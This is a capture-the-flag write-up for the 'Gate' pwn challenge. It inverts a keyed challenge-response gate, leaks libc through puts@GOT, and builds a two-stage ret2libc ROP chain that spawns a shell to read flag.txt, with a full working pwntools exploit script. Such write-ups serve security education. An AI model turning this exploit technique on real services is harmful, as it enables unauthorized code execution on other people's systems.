Gate
Gate
Platform: cyberareactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: challenge_response_inversion, got_leak, ret2libc, stack_alignment
Summary
Task: An amd64 service gates a post-authentication stack overflow behind a keyed 8-byte response and includes fake flags. Solution: Invert the gate, leak puts through its GOT entry, derive libc, and call system('/bin/sh') to read flag.txt.
Gate — cyberareactf
Description
gatesvc — небольшой сетевой сервис. При каждом подключении он выдаёт случайный nonce и требует правильный 8-байтовый ответ на challenge-response с ключом. Сервис был доступен по адресу
2.26.61.71:41001; архив содержалgatesvc, загрузчик и libc.
The objective was to invert the authentication challenge, exploit the post-authentication stack overwrite, and read the runtime flag.txt. The intended exploitation path is a two-stage ret2libc attack ending in system("/bin/sh").
Analysis
Binary reconnaissance and decoys
gatesvc is an amd64 ELF with no PIE, NX enabled, no stack canary, and Partial RELRO. The relevant fixed addresses are:
text read-only • copy allowedret = 0x40123f pop rdi; ret = 0x40123a puts@plt = 0x4010d0 puts@got = 0x404008 vuln = 0x401278 saved RIP offset = 0x48
The binary also exports get_flag at 0x401240 and contains numerous CYBERAREA{...} strings. These are deliberate decoys. Returning to get_flag prints:
text read-only • copy allowedCYBERAREA{r3t2win_backd00r_no_l34k_no_ret2libc_needed}
That value is fake and does not solve the challenge. The real flag is absent from the ELF and is stored at runtime in flag.txt; therefore, a candidate embedded string must not be trusted merely because a conveniently named function prints it.
Inverting the gate
For every connection, main prints a fresh 64-bit nonce and reads exactly eight raw response bytes. It checks the following expression modulo 2^64:
text read-only • copy allowed(((ROL64(((K1 + response) XOR nonce) * K2), 17) XOR K3) + K4) == 0xf1b9e822d85d9966
The constants are:
text read-only • copy allowedK1 = 0xd5d745fe48b25789 K2 = 0x9a4e22b0cf8f680d K3 = 0x47a54febcc2a85a2 K4 = 0xb438383aa87a9ff3 target = 0xf1b9e822d85d9966
All operations are reversible. Starting from the target, subtract K4, XOR K3, rotate right by 17, multiply by the modular inverse of odd K2 modulo 2^64, XOR the nonce, and subtract K1. The resulting response must be sent as a raw little-endian qword with p64(response) rather than as hexadecimal text.
Post-authentication RIP control
After the response passes, main calls vuln. This function reads up to 0x200 attacker-controlled bytes at rsp and then performs the equivalent of:
c read-only • copy allowedmemcpy(rsp + 0x200, rsp, n);
The saved return address lies at rsp + 0x248, which is 0x48 bytes after the copy destination. Thus, padding of 0x48 bytes reaches saved RIP.
Stage 1: leak libc and re-enter vuln
The first ROP chain calls puts(puts@got). Since the GOT entry contains the resolved runtime address of libc puts, subtracting the supplied libc's puts offset yields the libc base. The chain then returns to vuln for a second overflow:
text read-only • copy allowedpadding(0x48) ret pop rdi; ret puts@got puts@plt ret vuln
In concrete terms:
python read-only • copy allowedstage1 = flat( b"A" * 0x48, 0x40123f, 0x40123a, 0x404008, 0x4010d0, 0x40123f, 0x401278, )
The alignment ret entries make calls and re-entry robust under the amd64 SysV ABI. The supplied libc has puts at offset 0x87be0, so:
text read-only • copy allowedlibc_base = leaked_puts - 0x87be0
Because puts terminates output with newline and the script uses recvline(), an ASLR address containing byte 0x0a can rarely truncate the leak. If the derived base is not page-aligned or the leak is unexpectedly short, reconnect for a new randomized address.
Stage 2: system("/bin/sh")
The supplied libc offsets are:
text read-only • copy allowedputs = 0x087be0 system = 0x058750 /bin/sh = 0x1cb42f exit = 0x047ba0
After calculating the base, the second chain calls system("/bin/sh") and places exit as its return address:
text read-only • copy allowedpadding(0x48) ret pop rdi; ret libc_base + 0x1cb42f libc_base + 0x58750 libc_base + 0x47ba0
The service's socket remains standard input, output, and error for the shell. There is no need to wait for a prompt: sending cat flag.txt; exit reads the real runtime flag and terminates cleanly.
Solution
The following is the complete remotely verified pwn2/exploit_ret2libc.py:
python read-only • copy allowed#!/usr/bin/env python3 """Invert the gate, leak libc, then execute system("/bin/sh").""" import os import re from pwn import * context.binary = elf = ELF("./gatesvc", checksec=False) libc = ELF("./libc.so.6", checksec=False) context.arch = "amd64" HOST, PORT = "2.26.61.71", 41001 MASK = (1 << 64) - 1 K1, K2 = 0xD5D745FE48B25789, 0x9A4E22B0CF8F680D K3, K4 = 0x47A54FEBCC2A85A2, 0xB438383AA87A9FF3 TARGET = 0xF1B9E822D85D9966 OFFSET = 0x48 RET = 0x40123F POP_RDI = 0x40123A def response_for(nonce): value = ((TARGET - K4) & MASK) ^ K3 value = ((value >> 17) | (value << 47)) & MASK value = value * pow(K2, -1, 1 << 64) & MASK return ((value ^ nonce) - K1) & MASK def start(): if args.REMOTE: return remote(HOST, PORT) work = os.path.abspath(".") return process([ "docker", "run", "--rm", "-i", "--platform", "linux/amd64", "-v", f"{work}:/work", "-w", "/work", "ubuntu:24.04", "./ld-linux-x86-64.so.2", "--library-path", ".", "./gatesvc", ]) io = start() # Pass the 8-byte arithmetic gate. banner = io.recvuntil(b"response> ") nonce = int(re.search(rb"nonce: 0x([0-9a-fA-F]{16})", banner).group(1), 16) io.send(p64(response_for(nonce))) assert b"challenge ok" in io.recvline(timeout=3) # Stage 1: leak puts from the GOT, then return to vuln for another overflow. stage1 = flat( b"A" * OFFSET, RET, POP_RDI, elf.got.puts, elf.plt.puts, RET, elf.symbols.vuln, ) io.send(stage1) puts_addr = u64(io.recvline(timeout=5).rstrip(b"\n").ljust(8, b"\0")) libc.address = puts_addr - libc.symbols.puts assert libc.address & 0xFFF == 0 log.success(f"puts = {puts_addr:#x}") log.success(f"libc = {libc.address:#x}") # Stage 2: system("/bin/sh"). The socket is still stdin/stdout/stderr for sh. bin_sh = next(libc.search(b"/bin/sh\0")) stage2 = flat( b"B" * OFFSET, RET, POP_RDI, bin_sh, libc.symbols.system, libc.symbols.exit, ) io.send(stage2) # Avoid waiting for a shell prompt: non-interactive sh accepts commands directly. io.sendline(b"cat flag.txt; exit") output = io.recvall(timeout=8) print(output.decode(errors="replace"), end="") flags = re.findall(rb"CYBERAREA\{[^}\r\n]+\}", output) if not flags: raise RuntimeError(f"shell returned no flag: {output!r}") log.success(f"flag: {flags[-1].decode()}")
Run it from the directory containing gatesvc, libc.so.6, and the supplied loader:
bash read-only • copy allowedpython3 exploit_ret2libc.py REMOTE
Remote Proof
The verified remote run leaked these exact addresses:
text read-only • copy allowedputs = 0x7efdfc704be0 libc = 0x7efdfc67d000
The subtraction is consistent with the supplied offset:
text read-only • copy allowed0x7efdfc704be0 - 0x87be0 = 0x7efdfc67d000
The second chain spawned the socket-backed shell, and cat flag.txt; exit returned:
text read-only • copy allowedCYBERAREA{REDACTED}
Unlike the value printed by the embedded fake get_flag, this flag was read from the remote runtime file.